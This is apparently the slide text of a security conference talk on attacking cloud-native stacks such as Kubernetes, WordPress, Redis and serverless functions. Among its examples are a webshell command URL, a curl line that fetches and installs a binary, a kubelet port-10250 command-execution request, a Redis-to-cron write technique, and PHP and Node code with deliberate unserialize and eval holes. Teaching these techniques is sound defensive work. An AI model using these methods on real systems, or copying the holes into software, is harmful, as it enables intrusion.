Much that once was is lost. For none now live who remember it.
WARNING

This talk may contain comments or opinions that at times may differ with those of Cisco systems. The views expressed here do not necessarily reflect those of Cisco systems. Audience discretion is advised.
$~>./WHOAMI

Moses Frost

Work [at] Cisco, Teach/ [at] SANS, Blog [at] renegade.blog

On the socialz: @mosesrenegade
WHY ARE WE HERE?
The future is different
The year is 2060
How did we get here?
And they probably redesigned the whole sickbay, too! I know engineers, they LOVE to change things.
JAVASCRIPT
Not much is known...
TECHNOLOGY
How did we get here?
A look to the past

What made up the modern web stack.
“Cloud Native”

What is this?
Cloud Native Charter

- Container Packaged Applications
- Dynamically Managed
- Micro-services oriented

Probably a decent foundation to build from
Cloud Native Charter

- Container Packaged Applications
- Dynamically Managed
- Micro-services oriented

Probably a decent foundation to build from
Cloud Native Charter

- Container Packaged Applications
- Dynamically Managed
- Micro-services oriented

Probably a decent foundation to build from
Let's talk Service Meshes

How did we get here?
2. **WordPress == ‘Hello World’; of Exploitation**

True Story
Kubernetes Deployment: Wordpress

./kubectl

*I want a new service 'mesh'*
Kubernetes Deployment: Wordpress

./kubectl
*I want a new service 'mesh'

GKE: Ok. Time to make the donuts.
Kubernetes Deployment: Wordpress

./kubectl
*I want a new service 'mesh'

GKE: Ok. Time to make the donuts.

"Compute engines"
Kubernetes Deployment: Wordpress

GKE: Ok. Time to make the donuts.

*I want a new service 'mesh'*

"Compute engines"

"Service Orchestration"
Kubernetes Deployment: Wordpress

/.kubectl
*I want a new service 'mesh'

GKE: Ok. Time to make the donuts.

"Compute engines"

Let me break this down.

"Service Orchestration"
Kubernetes Deployment: Wordpress

But what the f*!@ is rest of this?!
Kubernetes Deployment: Wordpress

But what the f*!@ is rest of this?!
Containers
You want to deploy your application BUT:
- How do you update it?
- What if the host crashes?
- How do you scale?
- How do you share between containers?
- ... etc

Mesh
Gives you the ability to orchestrate items
- Can give you capability to move containers
- Restart apps
- Upgrade with circuit breaking
- Share Resources between disparate containers, etc etc etc
- Can be a ‘proxy’ or a sidecar
Example of a Kubernetes engine (GCE)

Services

Kubernetes services

Services are sets of pods with a network endpoint that can be used for discovery and load balancing. Ingresses are collections of rules for routing external HTTP(S) traffic to services.

<table>
<thead>
<tr>
<th>Name</th>
<th>Status</th>
<th>Service Type</th>
<th>Endpoints</th>
<th>Pods</th>
<th>Namespace</th>
<th>Cluster</th>
</tr>
</thead>
<tbody>
<tr>
<td>mysql</td>
<td>Ok</td>
<td>Cluster IP</td>
<td></td>
<td>1/1</td>
<td>default</td>
<td>persistent-disk-tutorial</td>
</tr>
<tr>
<td>prometheus</td>
<td>Ok</td>
<td>Cluster IP</td>
<td></td>
<td>1/1</td>
<td>stackdriver</td>
<td>persistent-disk-tutorial</td>
</tr>
<tr>
<td>wordpress</td>
<td>Ok</td>
<td>Load balancer</td>
<td></td>
<td>1/1</td>
<td>default</td>
<td>persistent-disk-tutorial</td>
</tr>
</tbody>
</table>
Let's talk about Service Meshes. How did we get here? Wordpress Demo.
A word on demos

- Starting with ‘Easy’ mode.
- Using a common framework and go from here
- The language and framework is mostly **IRRELEVANT.**
EASY MODE WHAT WORKS: LET'S ATTACK WORDPRESS

Scenario:
- Attacker sees a WordPress site and gains access to the site.
- Gets a PHP webshell to work.
- First thing to note is completely missing binaries
  - curl may be installed
  - other binaries not
- curl facilitates bringing down of more binaries

Example:
  Works:
  http://example/index.php?backdoor=1&cmd=which+curl
- Does NOT work:
  http://example/index.php?backdoor=1&cmd=which+nc
TAKEAWAY?

Not all binaries are here.
No ... netcat? I’ll bring my own
    ... curl? I’ll bring my own
    ... bash? I’ll bring my own
Have execve()? Yes, BYO.
./kubectl (yes)
KUBECTL IS PORTABLE
HTTPS://GITHUB.COM/KAYRUS/KUBELET-EXPLOIT

kubectl ....
curl $url; chmod a+x ./kubectl; mv ./kubectl /usr/local/bin/kubectl

----

The ‘secured’ way:
Error from server (Forbidden): nodes is forbidden: User
"system:serviceaccount:default:default" cannot list nodes at the cluster scope: Unknown user "system:serviceaccount:default:default"
kubelet-exploit


Everybody who has access to the service kubelet port (10250), even without a certificate, can execute any command inside the container.

```bash
# /run/%namespace%/%pod_name%/%container_name%
$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-k8dws/node-exporter" -d "cmd=ls -la /total 12"
Unharden
Talk Journey

How did we get here?

Let's talk Service Meshes

Wordpress Demo

Microservices
The ‘app’ changes
App
- Toaster App
  - Create User
  - User gets an email (email function in app)
  - User Logs in
  - User now can Toast
  - User Toasts

"App"
- function user()
- function mail()
- function tweet()
Microservices

App 1
- Twitter App
  - Create User

App 2
- Email Worker
  - User gets an email (email function in app)

App 3
- Toaster Worker
New Problem
State/Variables/etc
Microservices

App 1
- Twitter App
  - Create User

App 2
- Email Worker
  - User gets an email (email function in app)

App 3
- Tweet Worker

“App” function user()
“App” function tweet()
“App” function mail()
Redis?
Thoughts on exploitation

Apps must share ‘data’ between them
‘In memory databases’ make this convenient.
Can be a conduit for exfil and other issues.
Can you ‘egress’ out of redis store?
Can you ‘ingress’ to the store?
Change values?
On the GWPN Mailing List

Question:
Can anyone explain with detail, how code contained within a KEY in a Redis database exposed to the internet, can be executed?
On the GWPN Mailing List

Answer:
Turn outs redis can WRITE TO DISK.
On the GWPN Mailing List

Answer:
Turn outs redis can WRITE TO DISK.
And the directory can be set to /var/spool/cron

6379 Open Port?

Redis?

“App”
function user()

“App”
function tweet()

“App”
function mail()
On the GWPN Mailing List

Answer:
Turn outs redis can WRITE TO DISK.
And the directory can be set to /var/spool/cron
And executes as root.
*Containers don’t typically do egress filtering
4. Serverless’s Wat Server?
Let's talk
Service Meshes

How did we get here?

Wordpress Demo

Microservices
Let's talk Service Meshes

Wordpress Demo

Microservices

How did we get here?
Let's talk Service Meshes: How did we get here?
No servers needed
"Serverless"

Build an app without worrying about OS, or Server or Anything. It’s just a function.

AWS Lambda, Google Function...

Google App Engine? (sort of)
Lambda/GCE/Azure Function Example

NodeJS based for the most part.

- NodeJS Infrastructure provided ‘for you’
- Develop a single function
  - Or bring multiple functions
  - Set your own node build.
- Great for simple eventing.

Develop your own bugs also.
Can hide ‘functions’ from the public so that your ‘server’ only see’s it.
BYO–Bugs.
Let's go back to: Mesh

./kubectl
*I want a new service 'mesh'

GKE: Ok. Time to make the donuts.

Let me break this down.
Imagine Chaining

Language 1:
Exploit 1
main url = ?ser=...

Language 2
Exploit 2
payload to attack
Polyglot exploits

Language A: PHP (ObjSerialization)

```php
class obj_example {
    public $url = 'www.google.com';

    function __construct() {
    }
}

$obj = base64_decode(unserialize($_GET['ser']))
```

Language B: NodeJS (RCE/ETC)

```javascript
exports.helloWhat = (req, res) => {
    let message = req.query.message || req.body.message || 'Hello World!';
    res.status(200).send(message + eval(req.query.q));
}
```

Chained Exploits:

PHP Obj

- Deserialized Overwrite php $url variable
- Pass to some library
- New base64 string will get unwound to -> requests
- Triggers isolated Nodejs SSRF
- ... More chained language exploits.
The Future is gonna cost more money

But then.
The Future is gonna cost more money

But then.  We Decided
The Future is gonna cost more money

But then, We Decided Too hookup voices to javascript
The Future is gonna cost more money

But then. We Decided Too hookup voices to javascript
The problem

- MV* App
- ARKit
- Target Acquired
- Serverless Function
- Voice Input
- Cloud Storage
- Inject
- Inject

Node.js

The Sims 4

71
Friends dont let friends javascript

https://github.com/denysdovhan/wtfjs

\( \Box == !\Box; \) // -> true
The future is going to be more money

Majority Reports

You can find me at
@mosesrenegade
moses@moses.io